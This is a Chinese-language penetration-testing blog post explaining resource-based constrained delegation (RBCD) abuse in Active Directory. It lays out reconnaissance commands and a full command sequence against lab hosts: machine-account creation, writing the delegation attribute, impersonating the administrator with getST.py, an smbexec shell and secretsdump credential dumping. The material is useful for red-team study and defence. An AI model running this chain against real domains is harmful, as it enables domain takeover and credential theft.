概念
微软在Windows Server 2012 中新引入基于资源的约束性委派(Resource Based Constrained Delegation, RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身。
配置了RBCD的账户属性有如下变化:
- msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户
可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo
属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity
属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。
此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。
攻击核心条件
- 具有对主机修改
msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限 - 可以创建机器账户(或已知机器账户)
什么用户具备修改msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限呢?
-
将该主机加入域的用户账户
账户中有一个
mSDS-CreatorSID
属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了! -
Account Operator组成员
-
该主机的机器账户
什么用户具备添加机器用户的权限
- 对于一般域成员,由
msDS-MachineAccountQuota
属性决定,默认可以创建10个机器账户。
约束委派与基于资源的约束委派的区别:
- 传统的约束委派S4U2Self返回的票据一定是可转发的(Forwardable标记),如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。
- 基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。
补充:
因为基于资源的约束委派中需要用到S4U2Self和S4U2Proxy,又因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota
,所以就需要通过MachineAccountQuota来创建一个SPN的账户来进行委派配合。
,而计算机账户默认是注册RestrictedKrbHost/domain
和HOST/domain
这两个SPN的
侦查思路1
目标:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户
已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity
的权限
# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 10.10.2.20 -u username -up password -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID
# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value
如下图,ACL admin组成员对WIN-DC.xiaorang.lab具有writeDacl权限(该权限可以允许持有者修改特定对象的权限),这里[email protected]又是该用户组成员,可以通过writeDacl权限修改WIN-DC.xiaorang.lab的msDS-AllowedToActOnBehalfOfOtherIdentity
。
补充:当然这里也可以修改DCSync权限,直接利用DCSync。
侦查思路2
目标:找到该用户可修改msDS-AllowedToActOnBehalfOfOtherIdentity的机器
已知用户查找到通过该用户加入域中的机器,这台机器可被修改msDS-AllowedToActOnBehalfOfOtherIdentity
# 查用户账户SID
whoami /all
# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights
如下图,[email protected]用户为Account Operator组成员,该用户具备对Fileserver.xiaorang.lab这台机器修改msDS-AllowedToActOnBehalfOfOtherIdentity
的权限
攻击思路
这里附一张自己画的图(攻击流程):
创建机器账户
# 使用addcpmputer创建机器账户
addcomputer.py domain/username:password -method LDAPS -computer-name hack\$ -computer-pass Passw0rd -dc-ip 10.10.2.20
# 使用powershell
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount hack -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)
通过impacket直接攻击
rbcd.py domain/username:password -dc-ip 172.22.60.8 -action write -delegate-to 'PC1$' -delegate-from 'hack$'
查询机器账户的sid
import-module .\PowerView.ps1
Get-DomainComputer hack | select objectSid
设置委派属性
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1116)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer PC1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证是否添加成功
Get-DomainComputer PC1 -Properties msds-allowedtoactonbehalfofotheridentity
申请票据
python3 getST.py -dc-ip 172.22.60.8 xiaorang.lab/hack$:password -spn cifs/pc1.xiaorang.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k PC1.xiaorang.lab
利用DCSync接管全域
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass PC1.xiaorang.lab -dc-ip 172.22.60.8
参考文章
奇安信攻防社区-红队域渗透技术:委派攻击汇总(全) https://forum.butian.net/share/1591
https://txluck.github.io/2022/03/04/基于资源的约束委派/
标签:委派,账户,用户,约束,AllowedToActOnBehalfOfOtherIdentity,权限,RBCD,msDS From: https://www.cnblogs.com/seizer/p/18003119